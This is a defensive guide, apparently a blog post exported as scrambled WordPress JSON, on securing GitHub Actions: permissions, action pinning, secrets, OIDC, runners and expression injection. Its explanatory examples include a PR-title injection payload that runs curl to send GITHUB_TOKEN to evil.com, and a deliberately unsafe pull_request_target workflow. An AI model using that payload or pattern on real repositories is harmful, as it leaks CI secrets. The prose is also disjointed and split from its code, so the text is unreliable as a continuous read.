GitHub Actions has become the most widely adopted CI\/CD platform in the world. With over 90% of GitHub repositories capable of using it natively, it powers everything from simple linting checks to complex multi-cloud deployments. But that ubiquity makes it the single most targeted CI\/CD attack surface in modern software development.<\/p>\n\n
In 2024 and 2025, attackers compromised popular GitHub Actions (like This guide is a comprehensive, hands-on reference for securing GitHub Actions from the ground up. Whether you are a DevOps engineer hardening production workflows, a security architect defining CI\/CD policy, or a developer who wants to stop shipping vulnerabilities through your pipeline, this post covers everything you need to know \u2014 with links to detailed labs and cheat sheets throughout.<\/p>\n\n Before you can secure GitHub Actions, you need to understand how its security model actually works. GitHub Actions operates on a trust model built around three pillars: authentication tokens<\/strong>, workflow triggers<\/strong>, and execution environments<\/strong>.<\/p>\n\n Every workflow run is automatically issued a The critical security insight: the default permissions of GitHub Actions supports dozens of event triggers \u2014 GitHub Environments provide an additional security boundary. You can attach protection rules to environments \u2014 required reviewers, wait timers, branch restrictions, and deployment branch policies. Secrets can be scoped to specific environments, ensuring that production credentials are only available to workflows deploying to production.<\/p>\n\n Environments are one of the most underused security features in GitHub Actions. If you are not using them, you are missing a critical control layer.<\/p>\n\n The single most impactful security improvement you can make to any GitHub Actions workflow is restricting the At the organization or repository level, navigate to Settings \u2192 Actions \u2192 General \u2192 Workflow permissions<\/strong> and select “Read repository contents and packages permissions”<\/strong>. This ensures that every workflow starts with minimal permissions, and must explicitly request anything beyond read access.<\/p>\n\n In your workflow files, always declare permissions explicitly at the top level:<\/p>\n\n For jobs that require different permissions, declare them at the job level. Job-level permissions override workflow-level permissions for that specific job, providing even finer-grained control:<\/p>\n\n For a complete reference on which permissions are needed for common operations, see our GitHub Actions Security Cheat Sheet<\/a>, which maps every common task to its minimal required permission set.<\/p>\n\n Every When you reference an action like The solution is to pin actions to their full commit SHA:<\/p>\n\n SHA-pinned references are immutable. Even if the action repository is compromised, the SHA points to the exact code you audited. The trailing comment ensures that humans can still identify the version at a glance, and tools like Dependabot can still propose updates.<\/p>\n\n SHA pinning creates a maintenance burden \u2014 you need to update pins when new versions are released. Dependabot solves this. Add a Dependabot will automatically open PRs to update your SHA-pinned actions to the latest version, while maintaining the immutable SHA reference. This gives you the security of pinning with the convenience of automated updates.<\/p>\n\n For a hands-on walkthrough of implementing action pinning, permissions hardening, and secrets best practices in a real workflow, complete our Lab: Hardening GitHub Actions Workflows \u2014 Permissions, Pinning, and Secrets<\/a>.<\/p>\n\n Secrets in GitHub Actions exist at three scopes: repository<\/strong>, environment<\/strong>, and organization<\/strong>. Understanding the differences and using the right scope is critical for security.<\/p>\n\n Available to all workflows in a repository. Any workflow triggered by a push or pull_request (from the same repo) can access them. They are not available to workflows triggered by Scoped to a specific environment. Only jobs that reference that environment can access its secrets. Combined with environment protection rules (required reviewers, branch restrictions), environment secrets provide the strongest native secret protection in GitHub Actions.<\/p>\n\n Shared across repositories. Can be restricted to specific repositories or made available to all. Useful for shared credentials like container registry tokens, but increase blast radius if compromised.<\/p>\n\n The interaction between forks, secrets, and Never check out PR head code in a This pattern \u2014 sometimes called the “pwn request” \u2014 allows an attacker to submit a PR from a fork that modifies the build script, test suite, or any other executed code. Because If you must use Long-lived credentials stored as GitHub secrets are a ticking time bomb. If a secret is exfiltrated \u2014 through a compromised action, a log leak, or a malicious PR \u2014 the attacker has persistent access until the credential is manually rotated. The solution is OIDC-based workload identity federation<\/strong>.<\/p>\n\n GitHub Actions can issue OIDC tokens that assert the identity of a workflow run. These tokens contain claims about the repository, branch, environment, actor, and workflow. Cloud providers (AWS, GCP, Azure) can be configured to trust these tokens and exchange them for short-lived credentials.<\/p>\n\n The flow works like this:<\/p>\n\n With OIDC, there are no static credentials to steal. Even if an attacker exfiltrates the OIDC token, it expires in minutes and is bound to specific claims that limit where it can be used.<\/p>\n\n For a deep dive into the concepts behind workload identity federation, read our guide on Short-Lived Credentials and Workload Identity Federation for CI\/CD<\/a>. To implement it hands-on, follow our Lab: Configuring OIDC Workload Identity for GitHub Actions and AWS<\/a>.<\/p>\n\n The runner is where your workflow code actually executes. The security properties of your runner directly determine the blast radius of any workflow compromise.<\/p>\n\n GitHub-hosted runners are ephemeral VMs that are provisioned fresh for each job and destroyed afterward. This provides strong isolation:<\/p>\n\n For most workflows, GitHub-hosted runners are the most secure option. The trade-off is limited customization and potentially higher costs for compute-intensive workloads.<\/p>\n\n Self-hosted runners run on your own infrastructure. They offer more control and can be cheaper at scale, but they introduce significant security risks:<\/p>\n\n The best approach for self-hosted runners is to make them ephemeral<\/strong>. Actions Runner Controller (ARC) runs on Kubernetes and provisions a fresh runner pod for each job. When the job completes, the pod is destroyed \u2014 just like a GitHub-hosted runner, but on your own infrastructure.<\/p>\n\n Key ARC security practices:<\/p>\n\n For a complete guide to runner security architecture, see Securing GitHub Actions Runners<\/a>. To deploy ephemeral runners in practice, work through our Lab: Ephemeral Self-Hosted Runners with Actions Runner Controller<\/a>.<\/p>\n\n Every third-party action you reference in a workflow is code that runs inside your CI\/CD pipeline with access to your source code, secrets, and deployment credentials. Treating third-party actions like any other software dependency is essential.<\/p>\n\n Before adding any third-party action to your workflows:<\/p>\n\n At the organization level, GitHub allows you to restrict which actions can be used. Navigate to Organization Settings \u2192 Actions \u2192 General \u2192 Policies<\/strong> and configure an allowlist. Options include:<\/p>\n\n For enterprises, the allowlist is a critical control. It prevents developers from casually adding unvetted actions to workflows and provides a centralized approval process for new action dependencies.<\/p>\n\n To practice detecting malicious behavior in GitHub Actions using static analysis techniques, complete our Lab: Detecting Malicious GitHub Actions with Static Analysis<\/a>.<\/p>\n\n Expression injection is one of the most common and most dangerous vulnerabilities in GitHub Actions workflows. It occurs when untrusted input is interpolated directly into a workflow expression using the GitHub Actions expressions are evaluated before<\/em> the shell sees them. When you write:<\/p>\n\n The expression is replaced with the literal PR title before the shell command is constructed. If an attacker creates a PR with the title:<\/p>\n\n The resulting shell command becomes:<\/p>\n\n The attacker has injected arbitrary shell commands into your workflow.<\/p>\n\n The following GitHub context values are attacker-controlled and should never<\/strong> be used directly in Instead of interpolating expressions into When the value is passed through an environment variable, the shell treats it as a string literal, not as code to execute. This completely prevents injection.<\/p>\n\n Securing your CI\/CD pipeline is not just about protecting the pipeline itself \u2014 it is about ensuring that the artifacts your pipeline produces are trustworthy. Supply chain security for GitHub Actions encompasses artifact signing, provenance attestation, and verification.<\/p>\n\n Cosign, part of the Sigstore project, enables keyless signing of container images and other artifacts using OIDC identities. In GitHub Actions, this means your workflow’s identity (repository, branch, workflow) becomes the signing identity \u2014 no static signing keys to manage or protect.<\/p>\n\n The resulting signature is stored in a transparency log (Rekor), providing an auditable record that a specific workflow in a specific repository produced a specific artifact.<\/p>\n\n SLSA (Supply-chain Levels for Software Artifacts) provides a framework for ensuring build integrity. GitHub’s official SLSA provenance answers the question: “Can I prove this artifact was built from this source code by this CI\/CD system?” For any organization serious about supply chain security, provenance attestation should be part of every release workflow.<\/p>\n\n To get hands-on experience with container signing using Cosign in a CI\/CD pipeline, see our Cosign signing lab. For implementing SLSA provenance generation and verification, work through our SLSA provenance lab.<\/p>\n\n After auditing hundreds of GitHub Actions workflows, these are the five most common security misconfigurations we encounter:<\/p>\n\n Workflows without an explicit Fix:<\/strong> Add a top-level Using tag references like Fix:<\/strong> Pin all third-party actions to full commit SHAs. Use Dependabot to manage updates.<\/p>\n\n Directly interpolating attacker-controlled context values (PR titles, issue bodies, branch names) into Fix:<\/strong> Always pass untrusted context values through environment variables.<\/p>\n\n Checking out and executing code from a PR head in a Fix:<\/strong> Never check out Storing AWS access keys, GCP service account JSON, or Azure client secrets as repository or organization secrets creates persistent credential exposure. If these secrets are leaked, the attacker has long-term access to your cloud resources.<\/p>\n\n Fix:<\/strong> Replace static credentials with OIDC workload identity federation. No secrets to steal means no credential exposure.<\/p>\n\n Use this checklist to systematically harden your GitHub Actions workflows. Each item maps to a section in this guide:<\/p>\n\n Theory only takes you so far. Apply what you have learned in these hands-on labs:<\/p>\n\n Automate security enforcement with these essential tools:<\/p>\n\n actionlint<\/a> is a static analysis tool for GitHub Actions workflow files. It catches syntax errors, type mismatches, invalid shell commands, and security issues like expression injection. Run it locally and in CI to catch problems before they reach production:<\/p>\n\n zizmor<\/a> is a dedicated GitHub Actions security linter. Unlike general-purpose linters, zizmor focuses specifically on security issues: expression injection, unpinned actions, overly broad permissions, dangerous triggers, and more. It produces actionable findings with severity ratings and remediation guidance:<\/p>\n\n Both tools should be part of your CI pipeline. Run them on every PR that modifies workflow files. Combined, they catch the vast majority of common GitHub Actions security issues before they are merged.<\/p>\n\n GitHub Actions security is not a single configuration toggle \u2014 it is a layered defense that spans permissions, dependencies, secrets, identity, infrastructure, and supply chain integrity. The attacks against CI\/CD pipelines are increasing in frequency and sophistication, and the organizations that treat pipeline security as an afterthought will be the ones making breach disclosures.<\/p>\n\n The good news is that every mitigation in this guide is actionable today. You can set permissions to read-only in five minutes. You can enable Dependabot for action pinning in one commit. You can migrate from static credentials to OIDC in an afternoon. And you can deploy ephemeral runners before the end of the week.<\/p>\n\n Start with the implementation checklist above. Work through the labs. Run actionlint and zizmor on your existing workflows and fix what they find. Every hardening step you take raises the cost for attackers and lowers your risk.<\/p>\n\n Your CI\/CD pipeline is a production system. Secure it like one.<\/p>\n","protected":false},"excerpt":{"rendered":" GitHub Actions has become the most widely adopted CI\/CD platform in the world. With over 90% of GitHub repositories capable of using it natively, it powers everything from simple linting checks to complex multi-cloud deployments. But that ubiquity makes it the single most targeted CI\/CD attack surface in modern software development. In 2024 and 2025, … \u0627\u0642\u0631\u0623 \u0627\u0644\u0645\u0632\u064a\u062f<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26,29],"tags":[],"post_folder":[],"class_list":["post-753","post","type-post","status-publish","format-standard","hentry","category-ci-cd-security","category-github-actions"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/posts\/753","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/comments?post=753"}],"version-history":[{"count":2,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/posts\/753\/revisions"}],"predecessor-version":[{"id":773,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/posts\/753\/revisions\/773"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/media?parent=753"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/categories?post=753"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/tags?post=753"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/post_folder?post=753"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}tj-actions\/changed-files<\/code> and reviewdog<\/code>), injected malicious code into thousands of CI workflows, and exfiltrated secrets from organizations that assumed their pipelines were safe. Supply chain attacks on CI\/CD are no longer theoretical \u2014 they are routine.<\/p>\n\nUnderstanding the GitHub Actions Security Model<\/h2>\n\n
The GITHUB_TOKEN<\/h3>\n\n
GITHUB_TOKEN<\/code> \u2014 a short-lived token scoped to the repository where the workflow runs. This token is the primary authentication mechanism for interacting with the GitHub API from within workflows. By default, the token has broad read\/write permissions across the repository, including the ability to push code, manage issues, and modify packages.<\/p>\n\nGITHUB_TOKEN<\/code> are far too broad for most workflows<\/strong>. A workflow that only needs to post a comment on a PR should not have permission to push code. Yet without explicit configuration, it does.<\/p>\n\nWorkflow Triggers<\/h3>\n\n
push<\/code>, pull_request<\/code>, pull_request_target<\/code>, workflow_dispatch<\/code>, schedule<\/code>, issue_comment<\/code>, and more. Each trigger carries different security implications:<\/p>\n\n\n
pull_request<\/code><\/strong> \u2014 Runs in the context of the fork’s code. The GITHUB_TOKEN<\/code> is read-only. Secrets are not available from forks. This is the safest trigger for external contributions.<\/li>\npull_request_target<\/code><\/strong> \u2014 Runs in the context of the base<\/em> repository. The GITHUB_TOKEN<\/code> has write access. Secrets are available. This is extremely dangerous if you check out the PR’s head code.<\/li>\npush<\/code><\/strong> \u2014 Runs on the pushed commit. Full access to secrets and write tokens. Safe for trusted branches only.<\/li>\nworkflow_dispatch<\/code><\/strong> \u2014 Manual trigger. Useful for controlled deployments, but verify input parameters.<\/li>\nschedule<\/code><\/strong> \u2014 Runs on a cron schedule against the default branch. Has write access and secrets. Ensure that scheduled workflows are not modifiable by untrusted PRs.<\/li>\n<\/ul>\n\nEnvironments and Deployment Protection<\/h3>\n\n
Workflow Permissions: The Principle of Least Privilege<\/h2>\n\n
GITHUB_TOKEN<\/code> permissions<\/strong>. GitHub allows you to set permissions at two levels: the entire workflow and individual jobs.<\/p>\n\nSetting Default Permissions to Read-Only<\/h3>\n\n
permissions:\n contents: read\n pull-requests: write # Only if needed\n<\/code><\/pre>\n\njobs:\n build:\n permissions:\n contents: read\n runs-on: ubuntu-latest\n steps:\n - uses: actions\/checkout@v4\n - run: npm build\n\n deploy:\n permissions:\n contents: read\n id-token: write # For OIDC\n runs-on: ubuntu-latest\n steps:\n - uses: aws-actions\/configure-aws-credentials@v4\n<\/code><\/pre>\n\nAction Pinning: Defending Against Supply Chain Attacks<\/h2>\n\n
uses:<\/code> directive in your workflow is a dependency \u2014 and like any dependency, it can be compromised. The tj-actions\/changed-files<\/code> incident in early 2025 demonstrated exactly what happens when a popular action is hijacked: the attacker modified the action to exfiltrate GITHUB_TOKEN<\/code> and other secrets from every repository that referenced it by tag.<\/p>\n\nWhy Tags and Branches Are Not Enough<\/h3>\n\n
actions\/checkout@v4<\/code>, you are trusting the action maintainer \u2014 and anyone who compromises their account \u2014 not to move or modify that tag. Tags in Git are mutable. An attacker who gains write access to a repository can point v4<\/code> at any commit they choose.<\/p>\n\nSHA Pinning<\/h3>\n\n
# Bad - mutable tag\n- uses: actions\/checkout@v4\n\n# Good - immutable SHA pin with version comment\n- uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n<\/code><\/pre>\n\nAutomating Pin Updates with Dependabot<\/h3>\n\n
.github\/dependabot.yml<\/code> configuration:<\/p>\n\nversion: 2\nupdates:\n - package-ecosystem: \"github-actions\"\n directory: \"\/\"\n schedule:\n interval: \"weekly\"\n<\/code><\/pre>\n\nSecrets Management<\/h2>\n\n
Repository Secrets<\/h3>\n\n
pull_request<\/code> events from forks.<\/strong><\/p>\n\nEnvironment Secrets<\/h3>\n\n
Organization Secrets<\/h3>\n\n
Fork Safety and pull_request_target<\/h3>\n\n
pull_request_target<\/code> is one of the most dangerous areas in GitHub Actions security. Here is the key rule:<\/p>\n\npull_request_target<\/code> workflow and run it with access to secrets.<\/strong><\/p>\n\npull_request_target<\/code> runs with the base repo’s secrets and write token, the attacker’s code executes with full access to your credentials.<\/p>\n\n# DANGEROUS - Never do this\non: pull_request_target\njobs:\n build:\n runs-on: ubuntu-latest\n steps:\n - uses: actions\/checkout@v4\n with:\n ref: ${{ github.event.pull_request.head.sha }} # Attacker-controlled code!\n - run: npm test # Runs attacker's code with your secrets\n<\/code><\/pre>\n\npull_request_target<\/code>, only check out the base branch code, or use a two-workflow pattern where the first workflow (triggered by pull_request<\/code>) produces artifacts, and the second (triggered by workflow_run<\/code>) processes those artifacts with elevated permissions.<\/p>\n\nOIDC and Workload Identity Federation<\/h2>\n\n
How OIDC Works in GitHub Actions<\/h3>\n\n
\n
id-token: write<\/code> permission).<\/li>\nExample: AWS with OIDC<\/h3>\n\n
permissions:\n id-token: write\n contents: read\n\nsteps:\n - uses: aws-actions\/configure-aws-credentials@v4\n with:\n role-to-assume: arn:aws:iam::123456789012:role\/github-actions-deploy\n aws-region: us-east-1\n # No access keys needed!\n<\/code><\/pre>\n\nRunner Security: Hosted vs. Self-Hosted<\/h2>\n\n
GitHub-Hosted Runners<\/h3>\n\n
\n
Self-Hosted Runners: Risks and Mitigations<\/h3>\n\n
\n
Ephemeral Runners with Actions Runner Controller (ARC)<\/h3>\n\n
\n
Third-Party Action Safety<\/h2>\n\n
Auditing Actions Before Use<\/h3>\n\n
\n
contents: write<\/code>? That is a red flag.<\/li>\nImplementing Action Allowlists<\/h3>\n\n
\n
Expression Injection<\/h2>\n\n
${{ }}<\/code> syntax.<\/p>\n\nHow Expression Injection Works<\/h3>\n\n
- run: echo \"Hello ${{ github.event.pull_request.title }}\"<\/code><\/pre>\n\n\"; curl http:\/\/evil.com\/steal?token=$GITHUB_TOKEN; echo \"<\/code><\/pre>\n\necho \"Hello \"; curl http:\/\/evil.com\/steal?token=$GITHUB_TOKEN; echo \"\"<\/code><\/pre>\n\nVulnerable Contexts<\/h3>\n\n
run:<\/code> blocks:<\/p>\n\n\n
github.event.pull_request.title<\/code><\/li>\ngithub.event.pull_request.body<\/code><\/li>\ngithub.event.issue.title<\/code><\/li>\ngithub.event.issue.body<\/code><\/li>\ngithub.event.comment.body<\/code><\/li>\ngithub.event.review.body<\/code><\/li>\ngithub.event.head_commit.message<\/code><\/li>\ngithub.head_ref<\/code> (branch name \u2014 attacker-controlled in forks)<\/li>\n<\/ul>\n\nThe Fix: Environment Variables<\/h3>\n\n
run:<\/code> blocks, pass them through environment variables:<\/p>\n\n# Vulnerable\n- run: echo \"PR title: ${{ github.event.pull_request.title }}\"\n\n# Safe\n- run: echo \"PR title: $PR_TITLE\"\n env:\n PR_TITLE: ${{ github.event.pull_request.title }}\n<\/code><\/pre>\n\nSupply Chain Security: Signing and Provenance<\/h2>\n\n
Artifact Signing with Cosign and Sigstore<\/h3>\n\n
steps:\n - uses: sigstore\/cosign-installer@v3\n - run: cosign sign --yes ${{ env.IMAGE_REF }}\n env:\n COSIGN_EXPERIMENTAL: 1\n<\/code><\/pre>\n\nSLSA Provenance<\/h3>\n\n
actions\/attest-build-provenance<\/code> action generates SLSA provenance attestations that record exactly how an artifact was built \u2014 the source repo, commit, builder, and build instructions.<\/p>\n\nCommon Misconfigurations: Top 5<\/h2>\n\n
1. Missing Permissions Block<\/h3>\n\n
permissions:<\/code> block inherit the repository’s default token permissions \u2014 which is usually read\/write for everything. This violates least privilege and maximizes the blast radius of any compromise.<\/p>\n\npermissions: read-all<\/code> or granular permissions block to every workflow file.<\/p>\n\n2. Unpinned Third-Party Actions<\/h3>\n\n
@v4<\/code> or @main<\/code> for third-party actions exposes you to supply chain attacks. If the action’s repository is compromised, attackers can push malicious code under the existing tag.<\/p>\n\n3. Expression Injection in run: Blocks<\/h3>\n\n
run:<\/code> steps enables arbitrary command execution.<\/p>\n\n4. Unsafe pull_request_target Usage<\/h3>\n\n
pull_request_target<\/code> workflow grants the attacker access to repository secrets and write permissions.<\/p>\n\ngithub.event.pull_request.head.sha<\/code> in pull_request_target<\/code> workflows. Use the two-workflow pattern instead.<\/p>\n\n5. Long-Lived Cloud Credentials as Secrets<\/h3>\n\n
Implementation Checklist<\/h2>\n\n
\n
permissions:<\/code> blocks to every workflow and job.<\/li>\ngithub-actions<\/code> ecosystem.<\/li>\npull_request_target<\/code> workflows for unsafe checkout patterns.<\/li>\n${{<\/code> in run:<\/code> blocks and remediate injection vectors.<\/li>\nactionlint<\/code> and zizmor<\/code> to your CI pipeline to catch issues automatically.<\/li>\nRelated Labs<\/h2>\n\n
\n
Tools for GitHub Actions Security<\/h2>\n\n
actionlint<\/h3>\n\n
# Install and run\nbrew install actionlint\nactionlint .github\/workflows\/*.yml\n<\/code><\/pre>\n\nzizmor<\/h3>\n\n
# Install and run\npip install zizmor\nzizmor .github\/workflows\/\n<\/code><\/pre>\n\nConclusion<\/h2>\n\n